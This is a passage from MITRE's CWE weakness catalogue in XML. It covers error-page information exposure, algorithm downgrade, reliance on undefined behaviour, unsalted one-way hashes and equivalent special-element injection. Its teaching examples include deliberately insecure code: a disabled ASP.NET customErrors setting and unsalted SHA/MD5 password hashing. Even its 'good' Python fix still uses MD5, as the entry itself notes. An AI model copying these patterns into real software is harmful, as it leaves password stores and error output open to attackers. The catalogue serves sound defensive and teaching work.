					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Attackers can leverage the additional information provided by a
							default error page to mount attacks targeted on the framework, database,
							or other resources used by the application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-76">
					          <Intro_Text>In the snippet below, an unchecked runtime exception thrown from
						within the try block may cause the container to display its default error
						page (which may contain a full stack trace, among other
						things).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Public void doPost(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>} catch (ApplicationSpecificException ase) {</Code>
								                <Block>
									                  <Code>logger.error("Caught: " + ase.toString());</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-75">
					          <Intro_Text>An insecure ASP.NET application setting: </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>&lt;customErrors mode="Off" /&gt;</Code>
						            </Block>
						            <Text>Custom error message mode is turned off. An ASP.NET error message with
							detailed stack trace and platform versions will be returned.</Text>
						            <Text>Here is a more secure setting: </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>&lt;customErrors mode="RemoteOnly" /&gt;</Code>
						            </Block>
						            <Text>Custom error message mode for remote users only. No defaultRedirect
							error page is specified. The local user on the web server will see a
							detailed stack trace. For remote users, an ASP.NET error message with
							the server customError configuration setting and the platform version
							will be returned.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
					          <Submission_Comment>New entry for reorganization of
						CWE-703.</Submission_Comment>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="757" Name="Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>A protocol or its implementation supports interaction between
					multiple actors and allows those actors to negotiate which algorithm should be
					used as a protection mechanism such as encryption or authentication, but it does
					not select the strongest algorithm that is available to both
					parties.</Description_Summary>
				        <Extended_Description>
					          <Text>When a security mechanism can be forced to downgrade to use a less secure
						algorithm, this can make it easier for attackers to compromise the software
						by exploiting weaker algorithm. The victim might not be aware that the less
						secure algorithm is being used. For example, if an attacker can force a
						communications channel to use cleartext instead of strongly-encrypted data,
						then the attacker could read the channel by sniffing, instead of going
						through extra effort of trying to decrypt the data using brute force
						techniques.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is related to CWE-300 (Man-in-the-Middle), although not all downgrade
						attacks necessarily require a man in the middle. See examples.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4302</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can select an older version of the
						software to exploit its vulnerabilities.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4407</Observed_Example_Reference>
					          <Observed_Example_Description>Improper prioritization of encryption ciphers
						during negotiation leads to use of a weaker
						cipher.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2969</Observed_Example_Reference>
					          <Observed_Example_Description>chain: SSL/TLS implementation disables a
						verification step (CWE-325) that enables a downgrade attack to a weaker
						protocol.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1444</Observed_Example_Reference>
					          <Observed_Example_Description>Telnet protocol implementation allows downgrade to
						weaker authentication and encryption using a man-in-the-middle
						attack.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1646</Observed_Example_Reference>
					          <Observed_Example_Description>SSH server implementation allows override of
						configuration setting to use weaker authentication schemes. This may be a
						composite with CWE-642.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>220</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="758" Name="Reliance on Undefined, Unspecified, or Implementation-Defined Behavior" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses an API function, data structure, or other
					entity in a way that relies on properties that are not always guaranteed to hold
					for that entity.</Description_Summary>
				        <Extended_Description>
					          <Text>This can lead to resultant weaknesses when the required properties change,
						such as when the software is ported to a different platform or if an
						interaction error (CWE-435) occurs.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>710</Relationship_Target_ID>
					          <!--Coding Standards Violation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1902</Observed_Example_Reference>
					          <Observed_Example_Description>Change in C compiler behavior causes resultant
						buffer overflows in programs that depend on behaviors that were undefined in
						the C standard.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not introduce unnecessary platform
						dependencies</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC14-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not depend on undefined behavior</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC15-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="759" Name="Use of a One-Way Hash without a Salt" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses a one-way cryptographic hash against an input
					that should not be reversible, such as a password, but the software does not
					also use a salt as part of the input.</Description_Summary>
				        <Extended_Description>
					          <Text>This makes it easier for attackers to pre-compute the hash value using
						dictionary attack techniques such as rainbow tables.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Background_Details>
				        <Background_Detail>
					          <Text>In cryptography, salt refers to some random addition of data to an input
						before hashing to make dictionary attacks more difficult.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If an attacker can gain access to the hashes, then the lack of a salt
							makes it easier to conduct brute force attacks using techniques such as
							rainbow tables.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-51">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Use a cryptographic hash function that can be configured to change
							the amount of computational effort needed to compute the hash, such as
							the number of iterations ("stretching") or the amount of memory
							required. Some hash functions perform salting automatically. These
							functions can significantly increase the overhead for a brute force
							attack, far more than standards such as MD5, which are intentionally
							designed to be fast. For example, rainbow table attacks can become
							infeasible due to the high computing overhead. Finally, since computing
							power gets faster and cheaper over time, the technique can be
							reconfigured to increase the workload without forcing an entire
							replacement of the algorithm in use. </Text>
						            <Text> Some hash functions that have one or more of these desired properties
							include bcrypt, scrypt, and PBKDF2. While there is active debate about
							which of these is the most effective, they are all stronger than using
							salts with hash functions with very little computing overhead.</Text>
						            <Text>Note that using these functions can have an impact on performance, so
							they require special consideration to avoid denial-of-service attacks.
							However, their configurability provides finer control over how much CPU
							and memory is used, so it could be adjusted to suit the environment's
							needs.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If a technique that uses stretching cannot be implemented, then
							generate a random salt each time a new password is processed. Add the
							salt to the plaintext password before hashing it. When storing the hash,
							also store the salt. Do not use the same salt for every password
							(CWE-760). [R.759.3] </Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-25">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using industry-approved techniques, use them correctly. Don't cut
							corners by skipping resource-intensive steps (CWE-325). These steps are
							often essential for preventing common attacks.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In both of these examples, a user is logged in if their given
						password matches a stored password:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned char *check_passwd(char *plaintext) {</Code>
							              <Block>
								                <Code>ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...
									);</Code>
								                <Comment>//Login if hash matches stored hash</Comment>
								                <Code>if (equal(ctext, secret_password())) {</Code>
								                <Block>
									                  <Code>login_user();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String plainText = new String(plainTextIn);</Code>
							              <Code> MessageDigest encer = MessageDigest.getInstance("SHA");</Code>
							              <Code> encer.update(plainTextIn);</Code>
							              <Code>byte[] digest = password.digest();</Code>
							              <Comment>//Login if hash matches stored hash</Comment>
							              <Code>if (equal(digest,secret_password())) {</Code>
							              <Block>
								                <Code>login_user();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code does not provide a salt to the hashing function, thus
							increasing the chances of an attacker being able to reverse the hash and
							discover the original password. Note this code also exhibits CWE-328
							(Reversible One-Way Hash).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In this example, a new user provides a new username and password to
						create an account. The program hashes the new user's password then stores it
						in a database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def storePassword(userName,Password):</Code>
							              <Block>
								                <Code>hasher = hashlib.new('md5')</Code>
								                <Code>hasher.update(Password)</Code>
								                <Code>hashedPassword = hasher.digest()</Code>
								                <Comment># UpdateUserLogin returns True on success, False
									otherwise</Comment>
								                <Code>return updateUserLogin(userName,hashedPassword)</Code>
							              </Block>
						            </Block>
						            <Text>While it is good to avoid storing a cleartext password, the program
							does not provide a salt to the hashing function, thus increasing the
							chances of an attacker being able to reverse the hash and discover the
							original password if the database is compromised.</Text>
						            <Text>Fixing this is as simple as providing a salt to the hashing function
							on initialization:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def storePassword(userName,Password):</Code>
							              <Block>
								                <Code>hasher = hashlib.new('md5',b'SaltGoesHere')</Code>
								                <Code>hasher.update(Password)</Code>
								                <Code>hashedPassword = hasher.digest()</Code>
								                <Comment># UpdateUserLogin returns True on success, False
									otherwise</Comment>
								                <Code>return updateUserLogin(userName,hashedPassword)</Code>
							              </Block>
						            </Block>
						            <Text>Note that regardless of the usage of a salt, the md5 hash is no longer
							considered secure, so this example still exhibits CWE-327.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1526</Observed_Example_Reference>
					          <Observed_Example_Description>Router does not use a salt with a hash, making it
						easier to crack passwords.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1058</Observed_Example_Reference>
					          <Observed_Example_Description>Router does not use a salt with a hash, making it
						easier to crack passwords.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.759.1">
					          <Reference_Author>Robert Graham</Reference_Author>
					          <Reference_Title>The Importance of Being Canonical</Reference_Title>
					          <Reference_Date>2009-02-02</Reference_Date>
					          <Reference_Link>http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.759.2">
					          <Reference_Author>Thomas Ptacek</Reference_Author>
					          <Reference_Title>Enough With The Rainbow Tables: What You Need To Know About
						Secure Password Schemes</Reference_Title>
					          <Reference_Date>2007-09-10</Reference_Date>
					          <Reference_Link>http://www.securityfocus.com/blogs/262</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.759.3">
					          <Reference_Author>James McGlinn</Reference_Author>
					          <Reference_Title>Password Hashing</Reference_Title>
					          <Reference_Link>http://phpsec.org/articles/2005/password-hashing.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.759.4">
					          <Reference_Author>Jeff Atwood</Reference_Author>
					          <Reference_Title>Rainbow Hash Cracking</Reference_Title>
					          <Reference_Date>2007-09-08</Reference_Date>
					          <Reference_Link>http://www.codinghorror.com/blog/archives/000949.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.759.5">
					          <Reference_Title>Rainbow table</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2009-03-03</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Rainbow_table</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.759.6">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 9, "Creating a Salted Hash" Page
						302</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.759.7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Salt Values", Page 46.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>B. Kaliski</Reference_Author>
					          <Reference_Title>RFC2898 - PKCS #5: Password-Based Cryptography Specification
						Version 2.0</Reference_Title>
					          <Reference_PubDate>2000</Reference_PubDate>
					          <Reference_Link>http://tools.ietf.org/html/rfc2898</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Coda Hale</Reference_Author>
					          <Reference_Title>How To Safely Store A Password</Reference_Title>
					          <Reference_Date>2010-01-31</Reference_Date>
					          <Reference_Link>http://codahale.com/how-to-safely-store-a-password/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Colin Percival</Reference_Author>
					          <Reference_Title>Tarsnap - The scrypt key derivation function and encryption
						utility</Reference_Title>
					          <Reference_Link>http://www.tarsnap.com/scrypt.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brian Krebs</Reference_Author>
					          <Reference_Title>How Companies Can Beef Up Password Security (interview with
						Thomas H. Ptacek)</Reference_Title>
					          <Reference_Date>2012-06-11</Reference_Date>
					          <Reference_Link>http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Solar Designer</Reference_Author>
					          <Reference_Title>Password security: past, present, future</Reference_Title>
					          <Reference_PubDate>2012</Reference_PubDate>
					          <Reference_Link>http://www.openwall.com/presentations/PHDays2012-Password-Security/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Troy Hunt</Reference_Author>
					          <Reference_Title>Our password hashing has no clothes</Reference_Title>
					          <Reference_Date>2012-06-26</Reference_Date>
					          <Reference_Link>http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Joshbw</Reference_Author>
					          <Reference_Title>Should we really use bcrypt/scrypt?</Reference_Title>
					          <Reference_Date>2012-06-08</Reference_Date>
					          <Reference_Link>http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/</Reference_Link>
				        </Reference>
			      </References>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Potential_Mitigations, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="76" Name="Improper Neutralization of Equivalent Special Elements" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software properly neutralizes certain special elements, but
					it improperly neutralizes equivalent special elements.</Description_Summary>
				        <Extended_Description>
					          <Text>The software may have a fixed list of special characters it believes is
						complete. However, there may be alternate encodings, or representations that
						also have the same meaning. For example, the software may filter out a
						leading slash (/) to prevent absolute path names, but does not account for a
						tilde (~) followed by a user name, which on some *nix systems could be
						expanded to an absolute pathname. Alternately, the software might filter a
						dangerous "-e" command-line switch when calling an external program, but it
						might not account for "--exec" or other switches that have the same
						semantics. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>75</Relationship_Target_ID>
					          <!--Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
				  	        <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Programming languages and supporting
							technologies might be chosen which are not subject to these
							issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Utilize an appropriate mix of white-list and black-list parsing to
							filter equivalent special element syntax from all input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Equivalent Special Element Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
